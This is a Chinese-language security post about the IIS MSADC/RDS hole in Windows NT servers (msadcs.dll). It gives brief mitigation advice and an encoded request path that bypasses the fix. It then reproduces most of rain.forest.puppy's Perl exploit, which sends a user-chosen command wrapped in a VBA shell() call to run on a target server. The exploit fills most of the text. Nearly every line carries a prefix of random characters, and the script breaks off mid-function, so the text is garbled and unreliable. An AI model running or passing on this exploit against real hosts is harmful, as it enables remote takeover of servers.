IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
yO]Vex5) bQrH8) 涉及程序:
op/HZa Microsoft NT server
0}PW<lU- 7^ITedW@ 描述:
>|/NDF=\s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7Xw;TA B'lWs; 详细:
co|jUDu>W 如果你没有时间读详细内容的话,就删除:
@vCPX=c c:\Program Files\Common Files\System\Msadc\msadcs.dll
4=%Uv^M 有关的安全问题就没有了。
#78p#E .`)\GjDv 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
.MXznz XWf8ZZj 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
B<I%:SkF@ 关于利用ODBC远程漏洞的描述,请参看:
c'vxT<8fWW (es+VI2!&C http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ic%<39 +5JCbT@y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
nws '%MK) http://www.microsoft.com/security/bulletins/MS99-025faq.asp =%%\b_\L w9SPkPkYE 这里不再论述。
VL?ubt< SWNi@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
|ITp$_S {W)Kz_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
"
2Dz5L1v 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
dpDVEEs84 N&]v\MjI62 SsIy ;l #将下面这段保存为txt文件,然后: "perl -x 文件名"
<%8j#@OdZ cuO(*%Is1 #!perl
9gZMfP #
|h\e(_G\ # MSADC/RDS 'usage' (aka exploit) script
ra0:Lg' #
Vl%AN;o # by rain.forest.puppy
1`^l8V( #
aEo!yea # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
o8-BTq8 # beta test and find errors!
{KxeH7S w4Qqo( use Socket; use Getopt::Std;
j&6,%s-M`a getopts("e:vd:h:XR", \%args);
GvF8S MO[x '_lyoVP print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zH0%;
o} XI}
C|]# if (!defined $args{h} && !defined $args{R}) {
IEfzu L<v print qq~
2?u>A3^R Usage: msadc.pl -h <host> { -d <delay> -X -v }
n (7m -h <host> = host you want to scan (ip or domain)
gPSUxE`O. -d <seconds> = delay between calls, default 1 second
=Mzg={)v -X = dump Index Server path table, if available
cv=nGFx6 -v = verbose
l"5$6h -e = external dictionary file for step 5
s:'M[xI ZR.1SA0x?O Or a -R will resume a command session
[^EU'lewnW d rnqX-E; ~; exit;}
5+vCuVZ |Zr5I"; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
L(\sO=t if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ZM K"3c9 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*Z>Yv37P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
)G\23P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
K{.s{;# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1L]7*NJe 3~z4#8= if (!defined $args{R}){ $ret = &has_msadc;
L>5VnzS I die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
P~Q5d&1SO 7-6Z\.- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&$?e D{ . "cmd /c ";
_CY>45 $in=<STDIN>; chomp $in;
>J_{mU $command="cmd /c " . $in ;
O#
.^} Z4A
a if (defined $args{R}) {&load; exit;}
1sl^+)z8 4:q<<vCJv print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kMWu%,s4 &try_btcustmr;
bj\v0NKN4 o,[~7N print "\nStep 2: Trying to make our own DSN...";
#H{<nVvg^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JZQkr a% |[m,FvP print "\nStep 3: Trying known DSNs...";
' @>FtF[Gu &known_dsn;
Rp
`JF}~o "D}PbT[V print "\nStep 4: Trying known .mdbs...";
a\S"d &known_mdb;
5!$m3j_,]? O{ zY(`[ if (defined $args{e}){
)f-u x5 print "\nStep 5: Trying dictionary of DSN names...";
0#lw?sv &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_QbLg"O @[#U_T- I print "Sorry Charley...maybe next time?\n";
;>QED exit;
@[u! <h^'x7PkW5 ##############################################################################
VgtWT`F.I iDt^4=` sub sendraw { # ripped and modded from whisker
34-QgE sleep($delay); # it's a DoS on the server! At least on mine...
%lNv?sWb my ($pstr)=@_;
_I8L#4\(= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W7>4-gk die("Socket problems\n");
5tT-[mQ* if(connect(S,pack "SnA4x8",2,80,$target)){
agQzA/Xt select(S); $|=1;
iwWy]V m7 print $pstr; my @in=<S>;
AVVL]9b_2 select(STDOUT); close(S);
A"x1MjuqLM return @in;
gvvl3`S{ } else { die("Can't connect...\n"); }}
^wPKqu)^ lwYk`' ##############################################################################
nv1'iSEeOl oJe9H < sub make_header { # make the HTTP request
J\<7M8
my $msadc=<<EOT
0* <gGC POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
L@2%a' User-Agent: ACTIVEDATA
MzT#1~ Host: $ip
\?c0XD Content-Length: $clen
"u5Hm ^H Connection: Keep-Alive
}$!bD
RmxgCe(2a ADCClientVersion:01.06
pW7vY)hj Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
K&0op 4& N]R<EBq --!ADM!ROX!YOUR!WORLD!
|!{Q4< Content-Type: application/x-varg
LWHP31{R Content-Length: $reqlen
WJ=DTON &I:[ 'l! EOT
Z.Lm[$/edn ; $msadc=~s/\n/\r\n/g;
_5%SYxF*y return $msadc;}
=Xh^@OR kF.!U/C ##############################################################################
^
AxU \bYuAE1q sub make_req { # make the RDS request
ljVtFm< my ($switch, $p1, $p2)=@_;
bhe~ekb my $req=""; my $t1, $t2, $query, $dsn;
?(Q" y\ r7Bv?M^! if ($switch==1){ # this is the btcustmr.mdb query
\s?OvqI: $query="Select * from Customers where City=" . make_shell();
#&0)kr66 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<$wh@$PK $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J_YbeZ] 1MHP#X;| elsif ($switch==2){ # this is general make table query
dl;~-'0 $query="create table AZZ (B int, C varchar(10))";
PxzeN6f $dsn="$p1";}
D5fJuT-bp 1}#v<b$ elsif ($switch==3){ # this is general exploit table query
9C}Ie$\ $query="select * from AZZ where C=" . make_shell();
/]"&E"X" $dsn="$p1";}
jcHs! H`q" _p: elsif ($switch==4){ # attempt to hork file info from index server
+jYO?uaT $query="select path from scope()";
{PgB~|W $dsn="Provider=MSIDXS;";}
3Yf%M66t @3KVYv,q elsif ($switch==5){ # bad query
H
.)}| $query="select";
N
?Jr8 $dsn="$p1";}
+Q_(wR"FS W"S,~y $t1= make_unicode($query);
"6_#APoP $t2= make_unicode($dsn);
c+?L?s`" $req = "\x02\x00\x03\x00";
E9pKR+P $req.= "\x08\x00" . pack ("S1", length($t1));
I7TdBe- $req.= "\x00\x00" . $t1 ;
!O
F#4N $req.= "\x08\x00" . pack ("S1", length($t2));
bcL>S$B $req.= "\x00\x00" . $t2 ;
_d6mf4M]5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
##d\|r return $req;}
"
]
0ER =o\:@I[ ##############################################################################
ov: h4 y _J~n 9R sub make_shell { # this makes the shell() statement
d,[.=Jqv[ return "'|shell(\"$command\")|'";}
|t CD@M 6G6Hg&B ##############################################################################
qd{o64;| hj64ES#x sub make_unicode { # quick little function to convert to unicode
;wND?: my ($in)=@_; my $out;
dVc;Tt for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
LinARMPv return $out;}
F48:mfj1r {%D!~,4Ht ##############################################################################
1<A+.W L(TO5Y] sub rdo_success { # checks for RDO return success (this is kludge)
#b\&Md|; my (@in) = @_; my $base=content_start(@in);
zf$&+E- if($in[$base]=~/multipart\/mixed/){
:}x\&]uC#k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
piJ/e return 0;}
udtsq"U_% !OWVOq8 ##############################################################################
^k &zX!W hRb
k-b sub make_dsn { # this makes a DSN for us
xou7j
my @drives=("c","d","e","f");
Le9r7O: print "\nMaking DSN: ";
G?\o_)IJ foreach $drive (@drives) {
(ii 5p nq print "$drive: ";
}D
dg my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&=fBqod "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Iu|G*~\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X0b :Oiw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p9R`hgx return 0 if $2 eq "404"; # not found/doesn't exist
Rg)\o(J if($2 eq "200") {
;Fcdjy foreach $line (@results) {
9bgKu6-X return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
M_MiY|%V/K } return 0;}
$>'}6?C. .6!]RA5!= ##############################################################################
Cih} rsBF\(3b~ sub verify_exists {
TCU|k , my ($page)=@_;
FU!U{qDI my @results=sendraw("GET $page HTTP/1.0\n\n");
tnqW!F~ return $results[0];}
/7@@CG6b ]=9%fA ##############################################################################
YV-2es+Bd #:T5_9p sub try_btcustmr {
HG@!J>YaD my @drives=("c","d","e","f");
ig; ~
T my @dirs=("winnt","winnt35","winnt351","win","windows");
E1 *\)q 8v1asFxs. foreach $dir (@dirs) {
GY,@jp|R print "$dir -> "; # fun status so you can see progress
yN{Ybp foreach $drive (@drives) {
_+|* print "$drive: "; # ditto
@`}'P115@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
{xEX_$nv $reqlenlen=length( "$reqlen" );
wX#\\Jgi $clen= 206 + $reqlenlen + $reqlen;
U,iTURd #`z!f0
P my @results=sendraw(make_header() . make_req(1,$drive,$dir));
oLruYSaD if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}y|%wym else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Uvf-h4^J]: /qI80KVnN ##############################################################################
p: sn>Y ;oh88,*' sub odbc_error {
Q
C~~ my (@in)=@_; my $base;
"4g1I< my $base = content_start(@in);
i+(`"8W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"R*B~73 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`<HY$PAe $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\Zoo9Wy
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!"2OcDFx return $in[$base+4].$in[$base+5].$in[$base+6];}
V$q%=Sip print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
U{>!`RN print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m{%_5 nW $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
2:p2u1Q
O =AgY8cF!sl ##############################################################################
,)]ZD H \`>Y sub verbose {
t T-]Vj. my ($in)=@_;
6ap,XFRMh return if !$verbose;
z@~1e]% print STDOUT "\n$in\n";}
<]wN/B-8J }'H Da M ##############################################################################
M*c\=( _nx|ZJ sub save {
)QBsyN<x6 my ($p1, $p2, $p3, $p4)=@_;
3J'a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Y#]Y$n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Tj:+:B(HB close OUT;}
^~BJu#uVyy 0QC*Z ( ##############################################################################
b17p;wS G>:l(PW: sub load {
#Q'i/|g my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r`<evwIe open(IN,"<rds.save") || die("Couldn't open rds.save\n");
\Z+v\5nmO @p=<IN>; close(IN);
}ZYK3F $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
J8b]*2D $target= inet_aton($ip) || die("inet_aton problems");
E&&